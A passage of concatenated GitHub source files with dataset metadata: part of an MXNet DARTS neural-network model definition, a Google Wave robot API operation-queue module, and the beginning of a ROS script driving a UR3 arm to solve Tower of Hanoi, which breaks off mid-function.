DartsDwsBranch(HybridBlock):\n \"\"\"\n DARTS specific block with depthwise separable convolution layers.\n\n Parameters:\n ----------\n in_channels : int\n Number of input channels.\n out_channels : int\n Number of output channels.\n kernel_size : int or tuple/list of 2 int\n Convolution window size.\n strides : int or tuple/list of 2 int\n Strides of the convolution.\n padding : int or tuple/list of 2 int\n Padding value for convolution layer.\n \"\"\"\n def __init__(self,\n in_channels,\n out_channels,\n kernel_size,\n strides,\n padding,\n **kwargs):\n super(DartsDwsBranch, self).__init__(**kwargs)\n mid_channels = in_channels\n\n with self.name_scope():\n self.conv1 = DartsDwsConv(\n in_channels=in_channels,\n out_channels=mid_channels,\n kernel_size=kernel_size,\n strides=strides,\n padding=padding,\n dilation=1)\n self.conv2 = DartsDwsConv(\n in_channels=mid_channels,\n out_channels=out_channels,\n kernel_size=kernel_size,\n strides=1,\n padding=padding,\n dilation=1)\n\n def hybrid_forward(self, F, x):\n x = self.conv1(x)\n x = self.conv2(x)\n return x\n\n\nclass DartsReduceBranch(HybridBlock):\n \"\"\"\n DARTS specific factorized reduce block.\n\n Parameters:\n ----------\n in_channels : int\n Number of input channels.\n out_channels : int\n Number of output channels.\n strides : int or tuple/list of 2 int, default 2\n Strides of the convolution.\n \"\"\"\n def __init__(self,\n in_channels,\n out_channels,\n strides=2,\n **kwargs):\n super(DartsReduceBranch, self).__init__(**kwargs)\n assert (out_channels % 2 == 0)\n mid_channels = out_channels // 2\n\n with self.name_scope():\n self.activ = nn.Activation(\"relu\")\n self.conv1 = conv1x1(\n in_channels=in_channels,\n out_channels=mid_channels,\n strides=strides)\n self.conv2 = conv1x1(\n in_channels=in_channels,\n out_channels=mid_channels,\n strides=strides)\n self.bn = nn.BatchNorm(in_channels=out_channels)\n\n def hybrid_forward(self, F, x):\n x = self.activ(x)\n x1 = self.conv1(x)\n x = F.slice(x, begin=(None, None, 1, 1), end=(None, None, None, None))\n x2 = self.conv2(x)\n x = F.concat(x1, x2, dim=1)\n x = self.bn(x)\n return x\n\n\nclass Stem1Unit(HybridBlock):\n \"\"\"\n DARTS Stem1 unit.\n\n Parameters:\n ----------\n in_channels : int\n Number of input channels.\n out_channels : int\n Number of output channels.\n \"\"\"\n def __init__(self,\n in_channels,\n out_channels,\n **kwargs):\n super(Stem1Unit, self).__init__(**kwargs)\n mid_channels = out_channels // 2\n\n with self.name_scope():\n self.conv1 = darts_conv3x3_s2(\n in_channels=in_channels,\n out_channels=mid_channels,\n activate=False)\n self.conv2 = darts_conv3x3_s2(\n in_channels=mid_channels,\n out_channels=out_channels,\n activate=True)\n\n def hybrid_forward(self, F, x):\n x = self.conv1(x)\n x = self.conv2(x)\n return x\n\n\ndef stem2_unit(in_channels,\n out_channels):\n \"\"\"\n DARTS Stem2 unit.\n\n Parameters:\n ----------\n in_channels : int\n Number of input channels.\n out_channels : int\n Number of output channels.\n \"\"\"\n return darts_conv3x3_s2(\n in_channels=in_channels,\n out_channels=out_channels,\n activate=True)\n\n\ndef darts_maxpool3x3(channels,\n strides):\n \"\"\"\n DARTS specific 3x3 Max pooling layer.\n\n Parameters:\n ----------\n channels : int\n Number of input/output channels. Unused parameter.\n strides : int or tuple/list of 2 int\n Strides of the convolution.\n \"\"\"\n assert (channels > 0)\n return nn.MaxPool2D(\n pool_size=3,\n strides=strides,\n padding=1)\n\n\ndef darts_skip_connection(channels,\n strides):\n \"\"\"\n DARTS specific skip connection layer.\n\n Parameters:\n ----------\n channels : int\n Number of input/output channels.\n strides : int or tuple/list of 2 int\n Strides of the convolution.\n \"\"\"\n assert (channels > 0)\n if strides == 1:\n return Identity()\n else:\n assert (strides == 2)\n return DartsReduceBranch(\n in_channels=channels,\n out_channels=channels,\n strides=strides)\n\n\ndef darts_dws_conv3x3(channels,\n strides):\n \"\"\"\n 3x3 version of DARTS specific dilated convolution block.\n\n Parameters:\n ----------\n channels : int\n Number of input/output channels.\n strides : int or tuple/list of 2 int\n Strides of the convolution.\n \"\"\"\n return DartsDwsConv(\n in_channels=channels,\n out_channels=channels,\n kernel_size=3,\n strides=strides,\n padding=2,\n dilation=2)\n\n\ndef darts_dws_branch3x3(channels,\n strides):\n \"\"\"\n 3x3 version of DARTS specific dilated convolution branch.\n\n Parameters:\n ----------\n channels : int\n Number of input/output channels.\n strides : int or tuple/list of 2 int\n Strides of the convolution.\n \"\"\"\n return DartsDwsBranch(\n in_channels=channels,\n out_channels=channels,\n kernel_size=3,\n strides=strides,\n padding=1)\n\n\n# Set of operations in genotype.\nGENOTYPE_OPS = {\n 'max_pool_3x3': darts_maxpool3x3,\n 'skip_connect': darts_skip_connection,\n 'dil_conv_3x3': darts_dws_conv3x3,\n 'sep_conv_3x3': darts_dws_branch3x3,\n}\n\n\nclass DartsMainBlock(HybridBlock):\n \"\"\"\n DARTS main block, described by genotype.\n\n Parameters:\n ----------\n genotype : list of tuples (str, int)\n List of genotype elements (operations and linked indices).\n channels : int\n Number of input/output channels.\n reduction : bool\n Whether use reduction.\n \"\"\"\n def __init__(self,\n genotype,\n channels,\n reduction,\n **kwargs):\n super(DartsMainBlock, self).__init__(**kwargs)\n self.concat = [2, 3, 4, 5]\n op_names, indices = zip(*genotype)\n self.indices = indices\n self.steps = len(op_names) // 2\n\n with self.name_scope():\n for i, (name, index) in enumerate(zip(op_names, indices)):\n stride = 2 if reduction and index < 2 else 1\n setattr(self, \"ops{}\".format(i + 1), GENOTYPE_OPS[name](channels, stride))\n\n def hybrid_forward(self, F, x, x_prev):\n s0 = x_prev\n s1 = x\n states = [s0, s1]\n for i in range(self.steps):\n j1 = 2 * i\n j2 = 2 * i + 1\n op1 = getattr(self, \"ops{}\".format(j1 + 1))\n op2 = getattr(self, \"ops{}\".format(j2 + 1))\n y1 = states[self.indices[j1]]\n y2 = states[self.indices[j2]]\n y1 = op1(y1)\n y2 = op2(y2)\n s = y1 + y2\n states += [s]\n x_out = F.concat(*[states[i] for i in self.concat], dim=1)\n return x_out\n\n\nclass DartsUnit(HybridBlock):\n \"\"\"\n DARTS unit.\n\n Parameters:\n ----------\n in_channels : int\n Number of input channels.\n prev_in_channels : int\n Number of input channels in previous input.\n out_channels : int\n Number of output channels.\n genotype : list of tuples (str, int)\n List of genotype elements (operations and linked indices).\n reduction : bool\n Whether use reduction.\n prev_reduction : bool\n Whether use previous reduction.\n \"\"\"\n def __init__(self,\n in_channels,\n prev_in_channels,\n out_channels,\n genotype,\n reduction,\n prev_reduction,\n **kwargs):\n super(DartsUnit, self).__init__(**kwargs)\n mid_channels = out_channels // 4\n\n with self.name_scope():\n if prev_reduction:\n self.preprocess_prev = DartsReduceBranch(\n in_channels=prev_in_channels,\n out_channels=mid_channels)\n else:\n self.preprocess_prev = darts_conv1x1(\n in_channels=prev_in_channels,\n out_channels=mid_channels)\n\n self.preprocess = darts_conv1x1(\n in_channels=in_channels,\n out_channels=mid_channels)\n\n self.body = DartsMainBlock(\n genotype=genotype,\n channels=mid_channels,\n reduction=reduction)\n\n def hybrid_forward(self, F, x, x_prev):\n x = self.preprocess(x)\n x_prev = self.preprocess_prev(x_prev)\n x_out = self.body(x, x_prev)\n return x_out\n\n\nclass DARTS(HybridBlock):\n \"\"\"\n DARTS model from 'DARTS: Differentiable Architecture Search,' https://arxiv.org/abs/1806.09055.\n\n Parameters:\n ----------\n channels : list of list of int\n Number of output channels for each unit.\n stem_blocks_channels : int\n Number of output channels for the Stem units.\n in_channels : int, default 3\n Number of input channels.\n in_size : tuple of two ints, default (224, 224)\n Spatial size of the expected input image.\n classes : int, default 1000\n Number of classification classes.\n \"\"\"\n def __init__(self,\n channels,\n stem_blocks_channels,\n normal_genotype,\n reduce_genotype,\n in_channels=3,\n in_size=(224, 224),\n classes=1000,\n **kwargs):\n super(DARTS, self).__init__(**kwargs)\n self.in_size = in_size\n self.classes = classes\n\n with self.name_scope():\n self.features = nasnet_dual_path_sequential(\n return_two=False,\n first_ordinals=2,\n last_ordinals=1)\n self.features.add(Stem1Unit(\n in_channels=in_channels,\n out_channels=stem_blocks_channels))\n in_channels = stem_blocks_channels\n self.features.add(stem2_unit(\n in_channels=in_channels,\n out_channels=stem_blocks_channels))\n prev_in_channels = in_channels\n in_channels = stem_blocks_channels\n\n for i, channels_per_stage in enumerate(channels):\n stage = nasnet_dual_path_sequential(prefix=\"stage{}_\".format(i + 1))\n for j, out_channels in enumerate(channels_per_stage):\n reduction = (i != 0) and (j == 0)\n prev_reduction = ((i == 0) and (j == 0)) or ((i != 0) and (j == 1))\n genotype = reduce_genotype if reduction else normal_genotype\n stage.add(DartsUnit(\n in_channels=in_channels,\n prev_in_channels=prev_in_channels,\n out_channels=out_channels,\n genotype=genotype,\n reduction=reduction,\n prev_reduction=prev_reduction))\n prev_in_channels = in_channels\n in_channels = out_channels\n self.features.add(stage)\n self.features.add(nn.AvgPool2D(\n pool_size=7,\n strides=1))\n\n self.output = nn.HybridSequential(prefix=\"\")\n self.output.add(nn.Flatten())\n self.output.add(nn.Dense(\n units=classes,\n in_units=in_channels))\n\n def hybrid_forward(self, F, x):\n x = self.features(x)\n x = self.output(x)\n return x\n\n\ndef get_darts(model_name=None,\n pretrained=False,\n ctx=cpu(),\n root=os.path.join(\"~\", \".mxnet\", \"models\"),\n **kwargs):\n \"\"\"\n Create DARTS model with specific parameters.\n\n Parameters:\n ----------\n model_name : str or None, default None\n Model name for loading pretrained model.\n pretrained : bool, default False\n Whether to load the pretrained weights for model.\n ctx : Context, default CPU\n The context in which to load the pretrained weights.\n root : str, default '~/.mxnet/models'\n Location for keeping the model parameters.\n \"\"\"\n stem_blocks_channels = 48\n layers = [4, 5, 5]\n channels_per_layers = [192, 384, 768]\n channels = [[ci] * li for (ci, li) in zip(channels_per_layers, layers)]\n\n normal_genotype = [\n ('sep_conv_3x3', 0),\n ('sep_conv_3x3', 1),\n ('sep_conv_3x3', 0),\n ('sep_conv_3x3', 1),\n ('sep_conv_3x3', 1),\n ('skip_connect', 0),\n ('skip_connect', 0),\n ('dil_conv_3x3', 2)]\n reduce_genotype = [\n ('max_pool_3x3', 0),\n ('max_pool_3x3', 1),\n ('skip_connect', 2),\n ('max_pool_3x3', 1),\n ('max_pool_3x3', 0),\n ('skip_connect', 2),\n ('skip_connect', 2),\n ('max_pool_3x3', 1)]\n\n net = DARTS(\n channels=channels,\n stem_blocks_channels=stem_blocks_channels,\n normal_genotype=normal_genotype,\n reduce_genotype=reduce_genotype,\n **kwargs)\n\n if pretrained:\n if (model_name is None) or (not model_name):\n raise ValueError(\"Parameter `model_name` should be properly initialized for loading pretrained model.\")\n from .model_store import get_model_file\n net.load_parameters(\n filename=get_model_file(\n model_name=model_name,\n local_model_store_dir_path=root),\n ctx=ctx)\n\n return net\n\n\ndef darts(**kwargs):\n \"\"\"\n DARTS model from 'DARTS: Differentiable Architecture Search,' https://arxiv.org/abs/1806.09055.\n\n Parameters:\n ----------\n pretrained : bool, default False\n Whether to load the pretrained weights for model.\n ctx : Context, default CPU\n The context in which to load the pretrained weights.\n root : str, default '~/.mxnet/models'\n Location for keeping the model parameters.\n \"\"\"\n return get_darts(model_name=\"darts\", **kwargs)\n\n\ndef _test():\n import numpy as np\n import mxnet as mx\n\n pretrained = False\n\n models = [\n darts,\n ]\n\n for model in models:\n\n net = model(pretrained=pretrained)\n\n ctx = mx.cpu()\n if not pretrained:\n net.initialize(ctx=ctx)\n\n net_params = net.collect_params()\n weight_count = 0\n for param in net_params.values():\n if (param.shape is None) or (not param._differentiable):\n continue\n weight_count += np.prod(param.shape)\n print(\"m={}, {}\".format(model.__name__, weight_count))\n assert (model != darts or weight_count == 4718752)\n\n x = mx.nd.zeros((1, 3, 224, 224), ctx=ctx)\n y = net(x)\n assert (y.shape == (1, 1000))\n\n\nif __name__ == \"__main__\":\n _test()\n","repo_name":"osmr/imgclsmob","sub_path":"gluon/gluoncv2/models/darts.py","file_name":"darts.py","file_ext":"py","file_size_in_byte":21552,"program_lang":"python","lang":"en","doc_type":"code","stars":2864,"dataset":"github-code","pt":"37"} +{"seq_id":"70982471468","text":"import errors\nimport random\nimport util\nimport sys\n\n\nPROTOCOL_VERSION = '0.22'\n\n# Operation Types\nWAVELET_APPEND_BLIP = 'wavelet.appendBlip'\nWAVELET_SET_TITLE = 'wavelet.setTitle'\nWAVELET_ADD_PARTICIPANT = 'wavelet.participant.add'\nWAVELET_DATADOC_SET = 'wavelet.datadoc.set'\nWAVELET_MODIFY_TAG = 'wavelet.modifyTag'\nWAVELET_MODIFY_PARTICIPANT_ROLE = 'wavelet.modifyParticipantRole'\nBLIP_CONTINUE_THREAD = 'blip.continueThread'\nBLIP_CREATE_CHILD = 'blip.createChild'\nBLIP_DELETE = 'blip.delete'\nDOCUMENT_APPEND_MARKUP = 'document.appendMarkup'\nDOCUMENT_INLINE_BLIP_INSERT = 'document.inlineBlip.insert'\nDOCUMENT_MODIFY = 'document.modify'\nROBOT_CREATE_WAVELET = 'robot.createWavelet'\nROBOT_FETCH_WAVE = 'robot.fetchWave'\nROBOT_NOTIFY = 'robot.notify'\nROBOT_SEARCH = 'robot.search'\n\n# Assign always NOTIFY_OP_ID to the notify operation so\n# we can easily filter it out later\nNOTIFY_OP_ID = '0'\n\nclass Operation(object):\n \"\"\"Represents a generic operation applied on the server.\n\n This operation class contains data that is filled in depending on the\n operation type.\n\n It can be used directly, but doing so will not result\n in local, transient reflection of state on the blips. In other words,\n creating a 'delete blip' operation will not remove the blip from the local\n context for the duration of this session. It is better to use the OpBased\n model classes directly instead.\n \"\"\"\n\n def __init__(self, method, opid, params):\n \"\"\"Initializes this operation with contextual data.\n\n Args:\n method: Method to call or type of operation.\n opid: The id of the operation. Any callbacks will refer to these.\n params: An operation type dependent dictionary\n \"\"\"\n self.method = method\n self.id = opid\n self.params = params\n\n def __str__(self):\n return '%s[%s]%s' % (self.method, self.id, str(self.params))\n\n def set_param(self, param, value):\n self.params[param] = value\n return self\n\n def serialize(self, method_prefix=''):\n \"\"\"Serialize the operation.\n\n Args:\n method_prefix: prefixed for each method name to allow for specifying\n a namespace.\n\n Returns:\n a dict representation of the operation.\n \"\"\"\n if method_prefix and not method_prefix.endswith('.'):\n method_prefix += '.'\n return {'method': method_prefix + self.method,\n 'id': self.id,\n 'params': util.serialize(self.params)}\n\n def set_optional(self, param, value):\n \"\"\"Sets an optional parameter.\n\n If value is None or \"\", this is a no op. Otherwise it calls\n set_param.\n \"\"\"\n if value == '' or value is None:\n return self\n else:\n return self.set_param(param, value)\n\n\nclass OperationQueue(object):\n \"\"\"Wraps the queuing of operations using easily callable functions.\n\n The operation queue wraps single operations as functions and queues the\n resulting operations in-order. Typically there shouldn't be a need to\n call this directly unless operations are needed on entities outside\n of the scope of the robot. For example, to modify a blip that\n does not exist in the current context, you might specify the wave, wavelet\n and blip id to generate an operation.\n\n Any calls to this will not be reflected in the robot in any way.\n For example, calling wavelet_append_blip will not result in a new blip\n being added to the robot, only an operation to be applied on the\n server.\n \"\"\"\n\n # Some class global counters:\n _next_operation_id = 1\n\n def __init__(self, proxy_for_id=None):\n self.__pending = []\n self._capability_hash = None\n self._proxy_for_id = proxy_for_id\n\n def _new_blipdata(self, wave_id, wavelet_id, initial_content='',\n parent_blip_id=None):\n \"\"\"Creates JSON of the blip used for this session.\"\"\"\n temp_blip_id = 'TBD_%s_%s' % (wavelet_id,\n hex(random.randint(0, sys.maxint)))\n return {'waveId': wave_id,\n 'waveletId': wavelet_id,\n 'blipId': temp_blip_id,\n 'content': initial_content,\n 'parentBlipId': parent_blip_id}\n\n def _new_waveletdata(self, domain, participants):\n \"\"\"Creates an ephemeral WaveletData instance used for this session.\n\n Args:\n domain: the domain to create the data for.\n participants initially on the wavelet\n Returns:\n Blipdata (for the rootblip), WaveletData.\n \"\"\"\n wave_id = domain + '!TBD_%s' % hex(random.randint(0, sys.maxint))\n wavelet_id = domain + '!conv+root'\n root_blip_data = self._new_blipdata(wave_id, wavelet_id)\n participants = set(participants)\n wavelet_data = {'waveId': wave_id,\n 'waveletId': wavelet_id,\n 'rootBlipId': root_blip_data['blipId'],\n 'participants': participants}\n return root_blip_data, wavelet_data\n\n def __len__(self):\n return len(self.__pending)\n\n def __iter__(self):\n return self.__pending.__iter__()\n\n def clear(self):\n self.__pending = []\n\n def proxy_for(self, proxy):\n \"\"\"Return a view of this operation queue with the proxying for set to proxy.\n\n This method returns a new instance of an operation queue that shares the\n operation list, but has a different proxying_for_id set so the robot using\n this new queue will send out operations with the proxying_for field set.\n \"\"\"\n res = OperationQueue()\n res.__pending = self.__pending\n res._capability_hash = self._capability_hash\n res._proxy_for_id = proxy\n return res\n\n def set_capability_hash(self, capability_hash):\n self._capability_hash = capability_hash\n\n def serialize(self, method_prefix=''):\n first = Operation(ROBOT_NOTIFY,\n NOTIFY_OP_ID,\n {'capabilitiesHash': self._capability_hash,\n 'protocolVersion': PROTOCOL_VERSION})\n operations = [first] + self.__pending\n return [op.serialize(method_prefix=method_prefix) for op in operations]\n res = util.serialize(operations)\n return res\n\n def copy_operations(self, other_queue):\n \"\"\"Copy the pending operations from other_queue into this one.\"\"\"\n for op in other_queue:\n self.__pending.append(op)\n\n def new_operation(self, method, wave_id, wavelet_id, props=None, **kwprops):\n \"\"\"Creates and adds a new operation to the operation list.\"\"\"\n if props is None:\n props = {}\n props.update(kwprops)\n if wave_id is not None:\n props['waveId'] = wave_id\n if wavelet_id is not None:\n props['waveletId'] = wavelet_id\n if self._proxy_for_id:\n props['proxyingFor'] = self._proxy_for_id\n operation = Operation(method,\n 'op%s' % OperationQueue._next_operation_id,\n props)\n self.__pending.append(operation)\n OperationQueue._next_operation_id += 1\n return operation\n\n def wavelet_append_blip(self, wave_id, wavelet_id, initial_content=''):\n \"\"\"Appends a blip to a wavelet.\n\n Args:\n wave_id: The wave id owning the containing wavelet.\n wavelet_id: The wavelet id that this blip should be appended to.\n initial_content: optionally the content to start with\n\n Returns:\n JSON representing the information of the new blip.\n \"\"\"\n blip_data = self._new_blipdata(wave_id, wavelet_id, initial_content)\n self.new_operation(WAVELET_APPEND_BLIP, wave_id,\n wavelet_id, blipData=blip_data)\n return blip_data\n\n def wavelet_add_participant(self, wave_id, wavelet_id, participant_id):\n \"\"\"Adds a participant to a wavelet.\n\n Args:\n wave_id: The wave id owning that this operation is applied to.\n wavelet_id: The wavelet id that this operation is applied to.\n participant_id: Id of the participant to add.\n\n Returns:\n data for the root_blip, wavelet\n \"\"\"\n return self.new_operation(WAVELET_ADD_PARTICIPANT, wave_id, wavelet_id,\n participantId=participant_id)\n\n def wavelet_datadoc_set(self, wave_id, wavelet_id, name, data):\n \"\"\"Sets a key/value pair on the data document of a wavelet.\n\n Args:\n wave_id: The wave id owning that this operation is applied to.\n wavelet_id: The wavelet id that this operation is applied to.\n name: The key name for this data.\n data: The value of the data to set.\n Returns:\n The operation created.\n \"\"\"\n return self.new_operation(WAVELET_DATADOC_SET, wave_id, wavelet_id,\n datadocName=name, datadocValue=data)\n\n def robot_create_wavelet(self, domain, participants=None, message=''):\n \"\"\"Creates a new wavelet.\n\n Args:\n domain: the domain to create the wave in\n participants: initial participants on this wavelet or None if none\n message: an optional payload that is returned with the corresponding\n event.\n\n Returns:\n data for the root_blip, wavelet\n \"\"\"\n if participants is None:\n participants = []\n blip_data, wavelet_data = self._new_waveletdata(domain, participants)\n op = self.new_operation(ROBOT_CREATE_WAVELET,\n wave_id=wavelet_data['waveId'],\n wavelet_id=wavelet_data['waveletId'],\n waveletData=wavelet_data)\n op.set_optional('message', message)\n return blip_data, wavelet_data\n\n def robot_search(self, query, index=None, num_results=None):\n \"\"\"Execute a search request.\n\n For now this only makes sense in the data API. Wave does not maintain\n an index for robots so no results will be returned in that scenario.\n\n Args:\n query: what to search for\n index: what index to search from\n num_results: how many results to return\n Returns:\n The operation created.\n \"\"\"\n op = self.new_operation(\n ROBOT_SEARCH, wave_id=None, wavelet_id=None, query=query)\n if index is not None:\n op.set_param('index', index)\n if num_results is not None:\n op.set_param('numResults', num_results)\n return op\n\n def robot_fetch_wave(self, wave_id, wavelet_id,\n raw_deltas_from_version=-1, return_raw_snapshot=False):\n \"\"\"Requests a snapshot of the specified wavelet.\n\n Args:\n wave_id: The wave id owning that this operation is applied to.\n wavelet_id: The wavelet id that this operation is applied to.\n raw_deltas_from_version: If specified, return a raw dump of the\n delta history of this wavelet, starting at the given version.\n This may return only part of the history; use additional\n requests with higher raw_deltas_from_version parameters to\n get the rest.\n return_raw_snapshot: if true, return the raw data for this\n wavelet.\n Returns:\n The operation created.\n \"\"\"\n op = self.new_operation(ROBOT_FETCH_WAVE, wave_id, wavelet_id)\n if raw_deltas_from_version != -1:\n op.set_param('rawDeltasFromVersion', raw_deltas_from_version)\n if return_raw_snapshot:\n op.set_param('returnRawSnapshot', return_raw_snapshot)\n return op\n\n def wavelet_set_title(self, wave_id, wavelet_id, title):\n \"\"\"Sets the title of a wavelet.\n\n Args:\n wave_id: The wave id owning that this operation is applied to.\n wavelet_id: The wavelet id that this operation is applied to.\n title: The title to set.\n Returns:\n The operation created.\n \"\"\"\n return self.new_operation(WAVELET_SET_TITLE, wave_id, wavelet_id,\n waveletTitle=title)\n\n def wavelet_modify_participant_role(\n self, wave_id, wavelet_id, participant_id, role):\n \"\"\"Modify the role of a participant on a wavelet.\n\n Args:\n wave_id: The wave id owning that this operation is applied to.\n wavelet_id: The wavelet id that this operation is applied to.\n participant_id: Id of the participant to add.\n role: the new roles\n\n Returns:\n data for the root_blip, wavelet\n \"\"\"\n return self.new_operation(WAVELET_MODIFY_PARTICIPANT_ROLE, wave_id,\n wavelet_id, participantId=participant_id,\n participantRole=role)\n\n def wavelet_modify_tag(self, wave_id, wavelet_id, tag, modify_how=None):\n \"\"\"Modifies a tag in a wavelet.\n\n Args:\n wave_id: The wave id owning that this operation is applied to.\n wavelet_id: The wavelet id that this operation is applied to.\n tag: The tag (a string).\n modify_how: (optional) how to apply the tag. The default is to add\n the tag. Specify 'remove' to remove. Specify None or 'add' to\n add.\n Returns:\n The operation created.\n \"\"\"\n return self.new_operation(WAVELET_MODIFY_TAG, wave_id, wavelet_id,\n name=tag).set_optional(\"modify_how\", modify_how)\n\n def blip_create_child(self, wave_id, wavelet_id, blip_id):\n \"\"\"Creates a child blip of another blip.\n\n Args:\n wave_id: The wave id owning that this operation is applied to.\n wavelet_id: The wavelet id that this operation is applied to.\n blip_id: The blip id that this operation is applied to.\n\n Returns:\n JSON of blip for which further operations can be applied.\n \"\"\"\n blip_data = self._new_blipdata(wave_id, wavelet_id, parent_blip_id=blip_id)\n self.new_operation(BLIP_CREATE_CHILD, wave_id, wavelet_id,\n blipId=blip_id,\n blipData=blip_data)\n return blip_data\n\n def blip_continue_thread(self, wave_id, wavelet_id, blip_id):\n \"\"\"Creates a blip in same thread as specified blip.\n\n Args:\n wave_id: The wave id owning that this operation is applied to.\n wavelet_id: The wavelet id that this operation is applied to.\n blip_id: The blip id that this operation is applied to.\n\n Returns:\n JSON of blip for which further operations can be applied.\n \"\"\"\n blip_data = self._new_blipdata(wave_id, wavelet_id)\n self.new_operation(BLIP_CONTINUE_THREAD, wave_id, wavelet_id,\n blipId=blip_id,\n blipData=blip_data)\n return blip_data\n\n\n def blip_delete(self, wave_id, wavelet_id, blip_id):\n \"\"\"Deletes the specified blip.\n\n Args:\n wave_id: The wave id owning that this operation is applied to.\n wavelet_id: The wavelet id that this operation is applied to.\n blip_id: The blip id that this operation is applied to.\n Returns:\n The operation created.\n \"\"\"\n return self.new_operation(BLIP_DELETE, wave_id, wavelet_id, blipId=blip_id)\n\n def document_append_markup(self, wave_id, wavelet_id, blip_id, content):\n \"\"\"Appends content with markup to a document.\n\n Args:\n wave_id: The wave id owning that this operation is applied to.\n wavelet_id: The wavelet id that this operation is applied to.\n blip_id: The blip id that this operation is applied to.\n content: The markup content to append.\n Returns:\n The operation created.\n \"\"\"\n return self.new_operation(DOCUMENT_APPEND_MARKUP, wave_id, wavelet_id,\n blipId=blip_id, content=content)\n\n def document_modify(self, wave_id, wavelet_id, blip_id):\n \"\"\"Creates and queues a document modify operation\n\n The returned operation still needs to be filled with details before\n it makes sense.\n\n Args:\n wave_id: The wave id owning that this operation is applied to.\n wavelet_id: The wavelet id that this operation is applied to.\n blip_id: The blip id that this operation is applied to.\n Returns:\n The operation created.\n \"\"\"\n return self.new_operation(DOCUMENT_MODIFY,\n wave_id,\n wavelet_id,\n blipId=blip_id)\n\n def document_inline_blip_insert(self, wave_id, wavelet_id, blip_id, position):\n \"\"\"Inserts an inline blip at a specific location.\n\n Args:\n wave_id: The wave id owning that this operation is applied to.\n wavelet_id: The wavelet id that this operation is applied to.\n blip_id: The blip id that this operation is applied to.\n position: The position in the document to insert the blip.\n\n Returns:\n JSON data for the blip that was created for further operations.\n \"\"\"\n inline_blip_data = self._new_blipdata(wave_id, wavelet_id)\n inline_blip_data['parentBlipId'] = blip_id\n self.new_operation(DOCUMENT_INLINE_BLIP_INSERT, wave_id, wavelet_id,\n blipId=blip_id,\n index=position,\n blipData=inline_blip_data)\n return inline_blip_data\n","repo_name":"jparyani/wave","sub_path":"src/python/api/ops.py","file_name":"ops.py","file_ext":"py","file_size_in_byte":16445,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"37"} +{"seq_id":"72221227308","text":"#!/usr/bin/env python\n\n'''\nWe get inspirations of Tower of Hanoi algorithm from the website below.\nThis is also on the lab manual.\nSource: https://www.cut-the-knot.org/recurrence/hanoi.shtml\n'''\n\nimport os\nimport argparse\nimport copy\nimport time\nimport rospy\nimport rospkg\nimport numpy as np\nimport yaml\nimport sys\nfrom math import pi\nfrom project_header import *\nimport numpy as np\nfrom scipy.linalg import expm\nPI = 3.1415926535\n\n# 20Hz\nSPIN_RATE = 20\n\n# UR3 home location\n# home = np.radians([120, -90, 90, -90, -90, 0])\n\nhome = np.radians([151.30, -107.46, 116.14, -101.53, -92.15, 35.33])\n\n# Hanoi tower location 1\n# Q11 = [120*pi/180.0, -56*pi/180.0, 124*pi/180.0, -158*pi/180.0, -90*pi/180.0, 0*pi/180.0]\n# Q12 = [120*pi/180.0, -64*pi/180.0, 123*pi/180.0, -148*pi/180.0, -90*pi/180.0, 0*pi/180.0]\n# Q13 = [120*pi/180.0, -72*pi/180.0, 120*pi/180.0, -137*pi/180.0, -90*pi/180.0, 0*pi/180.0]\n\n\n# 1 - low to high\nQ11 = [136.14*pi/180.0, -61.1*pi/180.0, 141.09*pi/180.0, -173.2*pi/180.0, -90.67*pi/180.0, 19.99*pi/180.0]\nQ12 = [136.15*pi/180.0, -72.61*pi/180.0, 140.01*pi/180.0, -160.59*pi/180.0, -90.81*pi/180.0, 19.97*pi/180.0]\nQ13 = [136.13*pi/180.0, -82.54*pi/180.0, 137.42*pi/180.0, -148.07*pi/180.0, -90.96*pi/180.0, 19.95*pi/180.0]\n# Q13 = [136.12*pi/180.0, -98.74*pi/180.0, 124.83*pi/180.0, -119.29*pi/180.0, -91.22*pi/180.0, 20.04*pi/180.0]\n\n# 2 - low to high\nQ21 = [151.31*pi/180.0, -62.2*pi/180.0, 145.82*pi/180.0, -176.49*pi/180.0, -91.46*pi/180.0, 35.15*pi/180.0]\nQ22 = [151.33*pi/180.0, -74.98*pi/180.0, 144.63*pi/180.0, -162.52*pi/180.0, -91.61*pi/180.0, 35.13*pi/180.0]\nQ23 = [151.33*pi/180.0, -86.37*pi/180.0, 141.51*pi/180.0, -148*pi/180.0, -91.77*pi/180.0, 35.14*pi/180.0]\n\n# 3 - low to high\nQ31 = [169.86*pi/180.0, -61.61*pi/180.0, 143.19*pi/180.0, -173.76*pi/180.0, -92.3*pi/180.0, 53.69*pi/180.0]\nQ32 = [169.88*pi/180.0, -73.47*pi/180.0, 142.09*pi/180.0, -160.8*pi/180.0, -92.44*pi/180.0, 53.67*pi/180.0]\nQ33 = [169.88*pi/180.0, -84.11*pi/180.0, 139.19*pi/180.0, -147.26*pi/180.0, -92.59*pi/180.0, 53.69*pi/180.0]\n\n# starting and ending index to store user input\nstart_idx = 0\nmid_idx = 0\nend_idx = 0\ncounter = 0\nfrom_height = [2, 1, 0, 0, 1, 0, 0]\nto_height = [0, 0, 1, 0, 0, 1, 2]\n\nthetas = [0.0, 0.0, 0.0, 0.0, 0.0, 0.0]\n\ndigital_in_0 = 0 # set to true if gripper is holding block\nanalog_in_0 = 0\n\nsuction_on = True\nsuction_off = False\ncurrent_io_0 = False # last state of the gripper - suction On or Off\ncurrent_position_set = False\n\n# UR3 current position, using home position for initialization\ncurrent_position = copy.deepcopy(home)\n\n\"\"\"\nTODO: Initialize Q matrix\n\"\"\"\n\nQ = [ [Q11, Q12, Q13], \\\n [Q21, Q22, Q23], \\\n [Q31, Q32, Q33] ]\n\n\n\"\"\"\nTODO: define a ROS topic callback funtion for getting the state of suction cup\nWhenever ur3/gripper_input publishes info this callback function is called.\n\"\"\"\ndef gripper_callback(msg):\n global digital_in_0\n global analog_in_0\n\n digital_in_0 = msg.DIGIN\n\n\n\n\n\"\"\"\nWhenever ur3/position publishes info, this callback function is called.\n\"\"\"\ndef position_callback(msg):\n\n global thetas\n global current_position\n global current_position_set\n\n thetas[0] = msg.position[0]\n thetas[1] = msg.position[1]\n thetas[2] = msg.position[2]\n thetas[3] = msg.position[3]\n thetas[4] = msg.position[4]\n thetas[5] = msg.position[5]\n\n current_position[0] = thetas[0]\n current_position[1] = thetas[1]\n current_position[2] = thetas[2]\n current_position[3] = thetas[3]\n current_position[4] = thetas[4]\n current_position[5] = thetas[5]\n\n current_position_set = True\n\n# suction on = true, suction off = false\ndef gripper(pub_cmd, loop_rate, io_0):\n\n global SPIN_RATE\n global thetas\n global current_io_0\n global current_position\n\n error = 